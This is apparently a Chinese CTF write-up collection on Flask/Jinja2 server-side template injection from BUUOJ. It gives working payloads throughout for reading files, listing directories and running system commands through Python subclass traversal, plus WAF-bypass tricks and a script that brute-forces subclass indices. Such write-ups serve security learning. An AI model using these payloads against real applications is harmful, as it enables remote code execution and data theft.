竞赛平台:https://buuoj.cn/
第零步,Flask模板注入知识梳理:
1.通过使用魔法函数可以实现,在没有注册某个模块的条件下,调用模块的功能。
__class__ 返回对象所属类型
__mro__ 返回对象所属类、所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类,一般是object,如果不是需要使用上一个方法
// __base__和__mro__都是用来寻找基类的
__subclasses__ 返回子类
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
例子(windows python 3.7):
''.__class__
''.__class__.__mro__ (, )
''.__class__.__base__
''.__class__.__mro__[1].__subclasses__() 列出了所有子类
''.__class__.__base__.__subclasses__() 和上面效果相同
其他例子(未知环境):
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() 读取文件
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') 执行系统命令
如果函数已经被__init__了,还可以通过下面方法执行命令:
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
关于内建函数:
当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。内置的函数名字会放在内建名称空间中,初始的builtins模块提供内建名称空间到内建对象的映射。
在__builtins__
中,有像len
、str
这样熟悉的函数。
python沙盒溢出的关键:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。
参考链接:SSTI/沙盒逃逸详细总结
第一步,使Base64解密报错,具体报错如下:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode()) #报错位置
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
函数获取text值直接解码,并将解码结果放到tmp中。如果waf
函数检查发现tmp中存在注入行为,则会返回no no no !!
;否则直接在模板上显示tmp。
因此,我们的目的是绕过waf函数实现注入。
第二步,读源码。
将下面的代码加密后输入解密框中(在报错提示中可以看到文件名为app.py):
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
得到报错:
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
可以看到里面有waf
函数的定义,可以看到被过滤的词语:
def waf(str):
black_list =["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
第三步,找文件。
利用字符串拼接寻找目录:
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
加密后输入解密框中,发现this_is_the_flag.txt:
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
第四步,读取flag。
txt.galf_eht_si_siht
是倒写字符串来绕过
{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
或者使用下面的payload,执行popen命令读取文件:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
加密后输入解密框中,得到flag:flag{aa17e119-b692-4f87-962f-cf0b5201aeb3}
访问网址,直接得到源码:
import flask import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
输入数据经过safe_jinja
的过滤,被jinja渲染。safe_jinja
替换了左括号和右括号,如果s有左右大括号,里面又有config或者self,就会被整体替换成None。
为了获取例如current_app
这样的全局变量信息,需要使用包含该变量的两个函数,url_for
和get_flashed_messages
注入{{url_for.__globals__}}
或者get_flashed_messages.__globals__
,可以得到... 'current_app':
注入{{url_for.__globals__['current_app'].config}}
得到flag:flag{c9d4bc6f-a536-4f5f-b89c-dd9856d58381}
一开始打开题目页面,可以看到:
You searched for:
None
Here is your result
['CCC{Fl49_p@l5u}', 'CSC CTF 2019', 'Welcome to CTF Bois', 'CCC{Qmu_T3rtyPuuuuuu}', 'Tralala_trilili']
F12查看源代码,看到提示:
构造输入?search={{7*7}}
,看到页面返回49,构造?search={{7*'7'}}
,得到7777777,确定是jinja2模板。
访问?search={{config}}
,得到'SECRET_KEY': 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'
,暗示flag在这个目录下。
需要编写代码,查看有哪些包含全局变量的函数:
python3脚本:
参考解题链接
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("You searched for:<\/h2>\W+(.*)<\/h3>"
, r.text)
time.sleep(0.1)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
subprocess模块可以用来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
从输出结果中可以看到index值为258,于是构造payload测试:
''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()
看到:
('bin\nboot\ndev\netc\nflasklight\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)
接着构造:
''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()
看到:app.py coomme_geeeett_youur_flek
读flag:
''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()
flag{4f8bdc79-8954-494f-abb1-606b787271ac}
vulhub的github地址
一打开页面,显示Hello guest
使用读源码payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
页面显示:
Hello from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
获取eval函数并执行任意python代码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /var/").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
可以利用漏洞
由于完全没有参数的提示,因此需要arjun工具利用传参进行爆破。
arjun工具
python3 arjun.py -u http://11c3a132-1bdb-4fa2-8f9a-a15a04e93389.node3.buuoj.cn/ -m GET -c 200
得到参数name
?name={{7*7}}
,显示49
只有Author处可以被注入,注入{{config}}
得到:
I1l|1i1|il|1lIIlI1l1|1l|lI1||1|1|I||IlI1
查看网页源代码,可以看到js代码,是向后端发送POST请求,innerHTML会被前端直接显示:
function send(){
let nickname = $('#nickname')[0].value;
if(nickname.length > 0){
$.post("/", {'nickname': nickname}, function(data){
$('#msg')[0].innerHTML = '' + data + '';
$('#error')[0].className = "shorten_error_display";
});
}
}
发现过滤.
、_
、'
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
//用这个去执行命令
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
//用这个去读取文件
这里读取app.py发现flag是经过加密的。然后加密函数在源码中。
然后会删掉flag。这里我比较懒。。直接读取/proc/self/fd/3。得到Flag
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
最终得到flag{9586d411-dd16-4593-955a-4b467a6a3858}
参考解题链接